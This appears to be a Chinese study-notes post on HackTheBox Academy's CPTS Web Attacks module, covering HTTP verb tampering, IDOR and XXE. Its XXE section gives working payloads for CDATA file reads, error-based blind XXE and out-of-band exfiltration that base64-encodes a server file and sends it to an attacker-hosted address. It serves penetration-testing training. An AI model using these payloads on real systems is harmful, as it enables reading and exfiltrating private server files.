HackTheBox - 学院【CPTS】复习4 - Web Attacks

这篇具有很好参考价值的文章主要介绍了HackTheBox - 学院【CPTS】复习4 - Web Attacks。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Web Attacks

本模块涵盖三种常见的 Web 漏洞,即 HTTP 动词篡改、IDOR 和 XXE,每个漏洞都可能对公司的系统产生重大影响。我们将介绍如何通过各种方法识别、利用和防止它们中的每一个。

HTTP HEAD/GET/POST/PUT/OPTIONS

IDOR寻找

一般能够从前端js找到调用的js代码

XXE - CDATA

对于非php的其他后端语言,我们想要尝试直接读取后端代码可以尝试使用CDATA,它会作为原始数据输出而不是被处理

xxe.dtd:

<!ENTITY p "%begin;%file;%end;">

这里调用参数实体,将文件包含在CDATA内输出

<!DOCTYPE xxx [
	<!ENTITY % begin "<[CDATA[">
	<!ENTITY % file SYSTEM "file:///index.php">
	<!ENTITY % end "]]>">
	<!ENTITY % xxe SYSTEM "http://IP:PORT/xxe.dtd">
	%xxe;
]>

<xxx>&p;</xxx>

这里需要使用参数实体,当参数实体在我们托管的dtd文件中引用时,参数实体将会被视为外部实体,这样就可以绕过限制,从而让外部实体与内部实体的CDATA连接

基于error的半盲XXE

上面的xxe都是因为有某个特定的参数会作为结果输出,但在没有输出的情况下,上面的方法是不可行的,我们可以尝试blind

当尝试使用未定义的tag或者实体的时候可能会引发error,如果后端未正确处理异常导致异常抛出,那么我们将能看到异常输出并尝试利用

xxe.dtd:

<!ENTITY % file SYSTEM "file:///flag.php">
<!ENTITY % xxe "<!ENTITY content SYSTEM '%file;'>">
<!DOCTYPE email [ 
  <!ENTITY % dtd SYSTEM "http://10.10.14.142:8000/xxe.dtd">
  %dtd;
  %xxe;
]>

这里通过参数实体来引入dtd当%xxe;被执行后,%xxe;会创建一个新的一般实体,而这个一般实体又引用了%file;(这里也可以使用不存在的实体进行引发错误,至少有一个错误); %file;读取的文件中作为&content;这个一般实体的值,由于这个值会被解析,只要文件中存在一些特殊字符,一旦被xml解释器解析后将可能引发错误,这就是为什么我们这个例子也会引发错误的原因

如果读取的文件中没有什么东西会引发错误,那么我们就需要手动引发错误:调用不存在的实体

<!ENTITY % xxe "<!ENTITY content SYSTEM '%ENTITY;%file;'>">

带外全盲XXE

全盲只是没有任何输出包括error。其实从半盲我们可以看得出,我们通过dtd的参数实体来访问文件

<!ENTITY % xxe "<!ENTITY content SYSTEM '%file;'>">

我们可以通过http协议发起远程文件访问,同时将我们想要访问的目标文件通过http请求携带过来

xxe.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag.php">
<!ENTITY % xxe "<!ENTITY content SYSTEM 'http://10.10.14.142:8000/?file=%file;'>">

跟半盲的基于错误的xxe差不多,不过这次%xxe;参数实体创建一个一般实体,当我们调用这个实体的时候将会携带我们读取的文件内容,发送http请求到我们的攻击者服务器

<!DOCTYPE email [ 
  <!ENTITY % dtd SYSTEM "http://10.10.14.142:8000/xxe.dtd">
  %dtd;
  %xxe;
]>
<email>&content;</email>

这次我们需要手动调用这个外部实体

HackTheBox - 学院【CPTS】复习4 - Web Attacks文章来源地址https://www.toymoban.com/news/detail-511827.html

到了这里,关于HackTheBox - 学院【CPTS】复习4 - Web Attacks的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web实战丨基于django+html+css+js的学院门户网站

    本期内容:基于Django+Html+Css+JavaScript的学院门户网站 项目需求: python django 项目下载地址:https://download.csdn.net/download/m0_68111267/88726654 Web系统与技术课程旨在培养学生对Web系统的设计、开发和管理能力。课程内容包括Web系统的基本概念、体系结构和工作原理,以及常用的Web开

    2024年02月02日
    浏览(68)
  • CptS260: Introduction to Computer Architecture Assignment 7Processing

    Java Python CptS260: Introduction to Computer Architecture School of Electrical and Computer Engineering Assignment 7: Pipelined MIPS Execution on Pipelined a CPU (5%) Assignment Description In class we have gone over examples of how a pipelined MIPS CPU will execute instrucitons. We will assume there is not a delay slot for a branch instruciton. For this as

    2024年04月16日
    浏览(40)
  • ES6 模块编程(新思路方便复习笔记)

    1、ES6 使用 (1)export {名称/对象/函数/变量/常量} (2) export 定义 = (3) export default {}导出模块 2、使用 import {} from “xx.js” / import 名称 form “xx.js” 导入模块 2 应用实例-批量导出形式 编写 common.js , 该文件有函数,变量, 常量, 对象 要求在 use_common.js , 可以使用到 common.js 中定义的 函

    2024年02月15日
    浏览(41)
  • 蓝桥杯单片机模块代码综合(考前快速复习)

    今天做的是蓝桥杯所有模块的综合,只展示模块的核心代码,所以只能作为复习资料,而不是学习资料。这次给原理图全在官方给的资料里,考试记不起来可以在文件夹里找到! (一)LED   核心代码示例: 原理图:   回忆一下,译码器选择Y4使得其为低电平,J13中WR与地连

    2024年02月03日
    浏览(32)
  • Web知识点复习

    1. get/post请求优缺点 (1)post更安全(不会作为url的一部分,不会被缓存、保存在服务器日志、以及浏览器浏览记录中) (2)post发送的数据更大(get有url长度限制) (3)post能发送更多的数据类型(get只能发送ASCII字符) (4)post比get慢,get和post请求的过程中GET产生一个T

    2024年01月22日
    浏览(40)
  • web期末复习-小程序框架

    1.逻辑层是处理事务逻辑的层,是 MINA 事务 交互的 逻辑中心 2.视图层和逻辑层是 双线程通信 的,视图层和逻辑层之间提供了数据传输和事件系统 3.视图层和逻辑层通过系统层的 JSBridge 进行通信 4.逻辑层把数据变化通知到 视图 层,触发视图层的页面更新 5.视图层把出发的事

    2024年02月03日
    浏览(28)
  • Web期末复习知识点

    下载Tomcat :前往Apache Tomcat官方网站(https://tomcat.apache.org)下载适合您操作系统的Tomcat版本。  安装Tomcat :解压下载的Tomcat压缩文件到您选择的目录。例如,将Tomcat解压到/opt/tomcat。 配置环境变量(可选) :如果需要在任何位置启动Tomcat,可以将Tomcat的bin目录添加到系统的

    2024年02月04日
    浏览(45)
  • 复习之web服务器--apache

      两台虚拟机 (nodea,nodeb) 配置ip 搭建软件仓库 关闭selinux Apache( 音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,尤其对Linux的支持相当完美。在服务器上可以支持HTTP协议。 超文本传输协议(Hypertext Transfer Protocol,HTTP) 是

    2024年02月11日
    浏览(87)
  • 微信小程序如何性能测试? —— 华为云性能测试服务(CPTS)压测到服务后端,并完成性能评估

    微信小程序作为手机页面的一种,相比传统的网站和应用来说存在比较特殊的地方: 1、  开发者往往对程序做了限制,只能通过微信客户端访问 2、  通过微信的Oauth进行认证 这样往往会导致我们的性能测试工具无法压测到应用的后台服务,这里就跟大家分享下如何通过华为

    2024年02月11日
    浏览(54)
  • 【山东大学】web数据管理——复习笔记

    写在前面 若有图片加载失败,请 科学上网 。 本文为对软件学院连老师的PPT课件总结所得的复习笔记,仅供参考。不保证对考点的全覆盖,以PPT为主。 对往年考过的题相关知识点前面都标注了“考过”,并高亮,供参考。 写的比较匆忙,有遗漏、错误之处敬请指正。 笔记中

    2024年02月08日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包